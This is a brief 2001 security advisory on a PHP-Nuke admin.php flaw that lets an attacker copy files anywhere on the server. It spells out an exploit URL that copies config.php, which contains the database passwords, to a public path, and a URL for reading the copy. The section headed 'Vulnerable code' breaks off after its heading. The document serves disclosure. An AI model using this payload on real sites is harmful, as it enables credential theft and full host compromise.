Security Vulnerability in PHP-Nuke Allows File Copying (admin.php)
27 Sep. 2001
Summary
PHP-Nuke is an open source webpage portal that powers many websites on the net. A security vulnerability in the product allows attackers to cause it to copy files from and to anywhere on the operating system hard drives (and thus gain access to or overwrite sensitive files). This would allow an attacker to completely compromise the remote host.
Exploit:
First run the following URL:
http://www.example.net/admin.php?upload=1 &file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php &userfile_name=hacked.txt
(NOTE: URL wrapped for readability)
Then access the created file:
http://www.example.net/images/hacked.txt
And you will see config.php that contains the DB passwords. Any other file can be copied just as easily.
Vulnerable code:
The admin.php contains this routine:
